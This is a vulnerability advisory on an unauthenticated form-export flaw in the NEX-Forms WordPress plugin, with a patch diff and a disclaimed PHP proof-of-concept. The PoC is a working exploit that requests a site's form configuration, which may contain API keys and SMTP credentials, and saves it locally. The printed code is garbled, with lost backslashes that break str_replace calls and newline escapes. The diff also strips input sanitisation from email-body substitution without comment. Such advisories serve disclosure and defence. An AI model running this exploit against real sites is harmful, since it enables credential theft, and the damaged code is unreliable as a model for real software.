Atomic Edge analysis of CVE-2025-15510:
The NEX-Forms plugin for WordPress contains an unauthenticated information disclosure vulnerability. The flaw allows any site visitor to export complete form configurations, potentially exposing sensitive data like email addresses, API keys, and integration credentials. This vulnerability received a CVSS score of 5.3.
Atomic Edge research identified the root cause in the NF5_Export_Forms class constructor within the file `nex-forms-express-wp-form-builder/includes/classes/class.export.php`. The constructor directly processes the `export_form` and `nex_forms_Id` parameters from user input without performing any capability checks. The class instantiation occurs automatically when the file loads, making the export functionality publicly accessible. The vulnerable code path begins at line 10 of the original file where the class is instantiated with `$formExport = new NF5_Export_Forms();`.
Exploitation requires sending a simple HTTP request to any page where the plugin loads. Attackers append `?export_form=1&nex_forms_Id={ID}` to the URL. The `nex_forms_Id` parameter accepts integer values that an attacker can enumerate to export different forms. No authentication, nonce, or special headers are required. The server responds with a downloadable text file containing the form’s JSON configuration.
The patch introduces a proper authorization wrapper. Developers added a new function `NEXForms_do_form_export()` hooked to the `init` action. This function checks for the `export_form` parameter and validates the user’s capability with `current_user_can( ‘activate_plugins’ )` before instantiating the export class. The patch also removes the automatic class instantiation at the file’s end. Additional authorization checks were added inside the `generate_form()` method as a secondary defense layer.
Successful exploitation leads to direct exposure of all data stored within exported forms. Form configurations often contain sensitive information like PayPal API credentials, SMTP server details, third-party integration keys, and collected email addresses. Attackers can use this data for further attacks, credential theft, or spam campaigns. The vulnerability does not directly enable remote code execution or site takeover.
--- a/nex-forms-express-wp-form-builder/includes/classes/class.export.php
+++ b/nex-forms-express-wp-form-builder/includes/classes/class.export.php
@@ -1,5 +1,25 @@
<?php
if ( ! defined( 'ABSPATH' ) ) exit;
+
+
+
+add_action('init', 'NEXForms_do_form_export');
+function NEXForms_do_form_export() {
+
+
+ $export_form = isset($_REQUEST['export_form']) ? sanitize_text_field($_REQUEST['export_form']) : false;
+ if($export_form)
+ {
+ if(!current_user_can( 'activate_plugins' ))
+ wp_die();
+ else
+ $formExport = new NF5_Export_Forms();
+ }
+
+}
+
+
+
if(!class_exists('NF5_Export_Forms'))
{
class NF5_Export_Forms
@@ -8,75 +28,81 @@
* Constructor
*/
public function __construct(){
+
$export_form = isset($_REQUEST['export_form']) ? sanitize_text_field($_REQUEST['export_form']) : '';
$db_actions = new NEXForms_Database_Actions();
if($export_form)
{
$form_export = $this->generate_form();
-
- header("Pragma: public");
- header("Expires: 0");
- header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
- header("Cache-Control: private", false);
- //header("content-type:application/csv;charset=UTF-8");
- header("Content-Disposition: attachment; filename="".$db_actions->get_title2(sanitize_title($_REQUEST['nex_forms_Id']),'wap_nex_forms').".txt";" );
- //header("Content-Transfer-Encoding: base64");
-
- echo $form_export; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+ if($form_export)
+ {
+ header("Pragma: public");
+ header("Expires: 0");
+ header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
+ header("Cache-Control: private", false);
+ //header("content-type:application/csv;charset=UTF-8");
+ header("Content-Disposition: attachment; filename="".$db_actions->get_title2(sanitize_title($_REQUEST['nex_forms_Id']),'wap_nex_forms').".txt";" );
+ //header("Content-Transfer-Encoding: base64");
+
+ echo $form_export; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+ }
exit;
}
-
}
/**
* Converting data to HTML
*/
public function generate_form(){
global $wpdb;
-
- $form_data = $wpdb->get_row($wpdb->prepare('SELECT * FROM '.$wpdb->prefix.'wap_nex_forms WHERE Id = %d ',sanitize_title($_REQUEST['nex_forms_Id']))); // phpcs:ignore WordPress.DB.DirectDatabaseQuery
- //$content = str_replace('\','',$form_data->form_fields);
- $content = '';
- $fields = $wpdb->get_results("SHOW FIELDS FROM " . $wpdb->prefix ."wap_nex_forms"); // phpcs:ignore WordPress.DB.DirectDatabaseQuery
- $field_array = array();
- $count_fields = count($fields);
- $i = 0;
- $insert_array = array();
- $content .= '(';
- foreach($fields as $field)
+ if(!current_user_can( 'activate_plugins' ))
+ return false;
+ else
{
- if($field->Field!='date_sent')
+ $form_data = $wpdb->get_row($wpdb->prepare('SELECT * FROM '.$wpdb->prefix.'wap_nex_forms WHERE Id = %d ',sanitize_title($_REQUEST['nex_forms_Id']))); // phpcs:ignore WordPress.DB.DirectDatabaseQuery
+ //$content = str_replace('\','',$form_data->form_fields);
+ $content = '';
+ $fields = $wpdb->get_results("SHOW FIELDS FROM " . $wpdb->prefix ."wap_nex_forms"); // phpcs:ignore WordPress.DB.DirectDatabaseQuery
+ $field_array = array();
+ $count_fields = count($fields);
+ $i = 0;
+
+ $insert_array = array();
+ $content .= '(';
+ foreach($fields as $field)
{
- $content .= '`'.$field->Field.'`'.(($i<$count_fields-2) ? ',' : '').'';
- $my_fields[$field->Field]=$field->Field;
- $i++;
+ if($field->Field!='date_sent')
+ {
+ $content .= '`'.$field->Field.'`'.(($i<$count_fields-2) ? ',' : '').'';
+ $my_fields[$field->Field]=$field->Field;
+ $i++;
+ }
}
- }
- $content .= ') VALUES (';
-
- $j = 0;
-
-
- foreach($my_fields as $key=>$value)
- {
- $insert_array['Id'] = 'NULL';
- if($key!='date_sent' || $key!='Id')
+ $content .= ') VALUES (';
+
+ $j = 0;
+
+
+ foreach($my_fields as $key=>$value)
{
- $set_value = str_replace('\','',$form_data->$value);
- $set_value = str_replace(''','',$set_value);
-
- $insert_array[$key] = $set_value;
-
- $j++;
+ $insert_array['Id'] = 'NULL';
+ if($key!='date_sent' || $key!='Id')
+ {
+ $set_value = str_replace('\','',$form_data->$value);
+ $set_value = str_replace(''','',$set_value);
+
+ $insert_array[$key] = $set_value;
+
+ $j++;
+ }
}
+
+
+ $content .= ')';
+
+ return json_encode($insert_array, JSON_UNESCAPED_UNICODE);
}
-
-
- $content .= ')';
-
- return json_encode($insert_array, JSON_UNESCAPED_UNICODE);
}
}
}
-$formExport = new NF5_Export_Forms();
No newline at end of file
--- a/nex-forms-express-wp-form-builder/main.php
+++ b/nex-forms-express-wp-form-builder/main.php
@@ -4,7 +4,7 @@
Plugin URI: https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock"
Description: Premium WordPress Plugin - Ultimate Drag and Drop WordPress Forms Builder.
Author: Basix
-Version: 9.1.8
+Version: 9.1.9
Author URI: https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock"
License: GPL
Text Domain: nex-forms
@@ -1125,9 +1125,7 @@
function NEXForms_ui_output( $atts , $echo='',$prefill_array='',$unigue_form_Id=''){
- ini_set('display_errors', '0');
- error_reporting(0);
-
+
wp_add_inline_script('nex-forms-var', '
var exit_popup = 0;
var get_nex_forms = {};
@@ -2589,8 +2587,8 @@
//PRINT OUTPUT
if($echo){
- //NEXForms_clean_echo2( $output);
- echo $output;
+ NEXForms_clean_echo2( $output);
+ //echo $output;
}
else
return $output;
@@ -5151,7 +5149,7 @@
else
{
if($_REQUEST[$nf_functions->format_name($match)]!='--- Select ---')
- $body = str_replace($match,sanitize_text_field($_REQUEST[$nf_functions->format_name($match)]),$body);
+ $body = str_replace($match,$_REQUEST[$nf_functions->format_name($match)],$body);
}
}
}
@@ -5226,7 +5224,7 @@
else
{
if($_REQUEST[$nf_functions->format_name($match)]!='--- Select ---')
- $admin_body = str_replace($match,sanitize_text_field($_REQUEST[$nf_functions->format_name($match)]),$admin_body);
+ $admin_body = str_replace($match,$_REQUEST[$nf_functions->format_name($match)],$admin_body);
}
}
}
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-15510 - NEX-Forms – Ultimate Forms Plugin for WordPress <= 9.1.8 - Missing Authorization to Unauthenticated Sensitive Information Exposure
<?php
$target_url = 'http://vulnerable-site.com/';
$form_id = 1;
$url = $target_url . '?export_form=1&nex_forms_Id=' . $form_id;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
// Attempt to export form data
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($http_code === 200 && !empty($response)) {
// Check if response contains form data (likely JSON)
if (strpos($response, '"form_fields"') !== false || strpos($response, '"Id"') !== false) {
echo "[+] SUCCESS: Form data exported for ID: $form_idn";
echo "[+] Response preview: " . substr($response, 0, 200) . "...n";
// Save to file for analysis
file_put_contents("nexforms_export_$form_id.txt", $response);
echo "[+] Data saved to: nexforms_export_$form_id.txtn";
} else {
echo "[-] No form data found in response. The site may not be vulnerable or the form ID does not exist.n";
}
} else {
echo "[-] Request failed with HTTP code: $http_coden";
}
curl_close($ch);
?>
